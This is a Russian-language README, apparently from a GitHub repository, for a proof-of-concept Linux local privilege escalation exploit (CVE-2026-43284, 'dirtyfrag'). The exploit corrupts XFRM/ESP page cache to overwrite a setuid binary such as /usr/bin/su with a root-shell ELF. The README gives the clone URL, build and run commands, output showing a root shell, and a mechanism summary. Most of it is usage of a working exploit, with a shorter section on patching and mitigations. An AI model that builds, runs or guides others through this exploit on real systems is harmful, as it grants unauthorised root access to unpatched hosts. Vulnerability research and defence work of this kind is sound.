
Доказательство концепции для CVE-2026-43284 — 4-байтовый примитив записи в кеш страниц XFRM/ESP для исправления setuid-бинарного файла (x86_64, пространства имен пользователей). Включает проверку ядра (kernel preflight) и сканирование SUID.
Proof-of-concept локальное повышение привилегий через повреждение кэша страниц XFRM/ESP
4-байтовый примитив записи · 48 итераций · 192-байтовое перезапись ELF · непривилегированный пользователь + netns
Слева: предварительная проверка ядра, сканирование setuid и цепочка эксплойта ·
Справа: получена оболочка root — id / whoami подтверждают uid=0(root)
Протестировано на WSL2 · Ubuntu 24.04.1 LTS · ядро 6.6.87.2-microsoft-standard-WSL2
╔═══════════════════════════════════════╗
║ SLEY - CVE-2026-43284 dirtyfrag PoC ║
╚═══════════════════════════════════════╝
Отказ от ответственности: Только для авторизованных исследований безопасности, обучения и тестирования на системах, которые вам принадлежат или на которые у вас есть явное разрешение. Авторы не несут ответственности за неправомерное использование.
Работает даже в случае, если algif_aead находится в чёрном списке — эксплойт напрямую использует код ядра XFRM/ESP.
Встроенные проверки перед использованием эксплойта:
CONFIG_USER_NS, CONFIG_XFRM, CONFIG_INET_ESP/boot/config-*, /lib/modules/*/config или /proc/config.gz на WSL2)find / -perm -4000)CONFIG_USER_NS=y
CONFIG_XFRM=y
CONFIG_INET_ESP=m # или =y
Быстрая проверка:
# физическая машина / VM
grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS=' /boot/config-$(uname -r)
# WSL2
zcat /proc/config.gz | grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS='
gcc, libc, libutil (для forkpty)/usr/bin/su)git clone https://github.com/jayhutajulu1/CVE-2026-43284.git
cd CVE-2026-43284
make
Или вручную:
gcc -O0 -Wall -o sley-dirtyfrag sley-dirtyfrag.c -lutil
-O0используется намеренно — оптимизация может нарушить чувствительное к времени поведение splice/UDP.
id
# uid=1000(youruser) gid=1000(youruser) groups=...
./sley-dirtyfrag # цель по умолчанию: /usr/bin/su
./sley-dirtyfrag /usr/bin/passwd # другой setuid бинарник
Инструмент выполняет три автоматических этапа:
| Этап |
|---|
В полученной оболочке:
id
# uid=0(root) gid=0(root) groups=0(root)
whoami
# root
Нажмите Ctrl+D или введите exit. PoC сбрасывает кэш страниц, чтобы исходный бинарник на диске автоматически восстановился.
Если восстановление не удалось:
echo 3 | sudo tee /proc/sys/vm/drop_caches
┌─[ этап 1] предварительная проверка конфигурации ядра
→ /proc/config.gz
[+] CONFIG_USER_NS = y (требуется =y)
[+] CONFIG_XFRM = y (требуется =y)
[+] CONFIG_INET_ESP = m (требуется =m или =y)
параметры ядра OK.
┌─[ этап 2] сканирование setuid бинарников
10 /usr/bin/su ← цель
найдено 14 setuid бинарников.
┌─[ этап 3] эксплойт
[*] unshare userns+netns, регистрация 48 XFRM SA, splice→UDP 4500...
[+] corrupt все итерации выполнены
[+] verify обнаружена модификация ELF
╔══════════════════════════════════════╗
║ оболочка root — выход для восстановления ║
╚══════════════════════════════════════╝
| Исправлено в | f4c50a4034e6 (основная ветка, 8 мая 2026) |
| Введено | cac2661c53f3 (январь 2017) |
Действие: Обновитесь до дистрибутивного ядра, содержащего исправление, или соберите из исправленной основной ветки.
# проверьте ваше работающее ядро
uname -r
# проверьте наличие исправления (пример – измените для вашего дистрибутива)
# apt update && apt install --only-upgrade linux-image-$(uname -r)
Этот эксплойт использует unshare(CLONE_NEWUSER | CLONE_NEWNET) без прав root.
# runtime (может не существовать во всех ядрах)
sysctl kernel.unprivileged_userns_clone=0
# или отключить при сборке ядра
# CONFIG_USER_NS is not set
Примечание: Отключение пользовательских пространств имён блокирует этот PoC, но не обязательно CVE-2026-43500 (вариант с rxrpc для систем без userns).
find / -perm -4000 -type f 2>/dev/null
# удалите или усилите ненужные бинарники
Если вы считаете, что setuid бинарник был изменён в памяти:
echo 3 | sudo tee /proc/sys/vm/drop_caches
# повторно проверьте целостность бинарника через менеджер пакетов / известный хеш
unshare(CLONE_NEWUSER | CLONE_NEWNET) — изолированное пространство имён пользователя/сети (root не требуется).seq_hi (4 байта на SA).UDP_ENCAP_ESPINUDP:
splice() считывает целевой файл в канал (pipe)splice() перемещает данные из канала → UDP сокетskip_cowauthencesn scatterwalk записывает seq_hi по адресу assoclen + cryptlensetuid(0) / setgid(0) / .| Среда | Ядро |
|---|---|
| WSL2 Ubuntu 24.04.1 LTS | 6.6.87.2-microsoft-standard-WSL2 |
| Ubuntu 24.04 | уязвимые сборки |
| Fedora 44 | уязвимые сборки |
/etc/passwd с 8-байтовым примитивом перебора pcbc(fcrypt). В данный репозиторий не включён.Предоставляется как есть для исследований и обучения. Используйте ответственно.
SLEY — CVE-2026-43284 dirtyfrag PoC
Если это помогло вашим исследованиям, рассмотрите возможность отметить репозиторий звездой.
| CVE | CVE-2026-43284 |
| Тип | Локальное повышение привилегий (LPE) |
| Вектор | Повреждение кэша страниц XFRM / ESP-UDP (UDP_ENCAP_ESPINUDP) |
| Примитив | 4 байта за итерацию (ESN seq_hi) |
| Полезная нагрузка | 192-байтовый ELF для x86_64 (setuid(0) + setgid(0) + execve("/bin/sh")) |
| Цель по умолчанию | /usr/bin/su |
| Архитектура | Только x86_64 |
| Требуемые привилегии | Непривилегированный пользователь (использует пространства имён пользователя и сети) |
| Что делает |
|---|
| 1 | Предварительная проверка конфигурации ядра (CONFIG_USER_NS, CONFIG_XFRM, CONFIG_INET_ESP) |
| 2 | Полное сканирование setuid-бинарников в системе; выделение цели по умолчанию |
| 3 | Резервное копирование цели → модификация кэша страниц (48× 4-байтовых записей) → запуск оболочки root |
| Команда | Описание |
|---|
./sley-dirtyfrag | Эксплойт для /usr/bin/su (по умолчанию) |
./sley-dirtyfrag /path/to/suid | Эксплойт для произвольного setuid бинарника |
make | Сборка sley-dirtyfrag |
make clean | Удаление бинарника |
| Мера | Эффект |
|---|
| Заплатка / обновление ядра | Устраняет основную ошибку записи в кэш страниц |
| Ограничение пользовательских пространств имён | Блокирует данный PoC (требует CONFIG_USER_NS) |
| Удаление ненужных setuid бинарников | Уменьшает количество возможных целей (chmod u-s или удаление) |
| Lockdown / LSM (SELinux, AppArmor) | Может ограничить пост-эксплуатационное воздействие в зависимости от политики |
| Мониторинг XFRM + UDP/4500 | Обнаружение аномальной регистрации SA и ESP-in-UDP трафика из непривилегированных пространств имён |
execve("/bin/sh")posix_fadvise), чтобы ядро перезагрузило чистый файл с диска.| Файл | Описание |
|---|
sley-dirtyfrag.c | Исходный код эксплойта |
Makefile | Сборочный скрипт |
proof-of-concept-1.jpg | Скриншот PoC — предварительная проверка + эксплойт |
proof-of-concept-2.jpg | Скриншот PoC — проверка оболочки root |
README.md | Этот файл |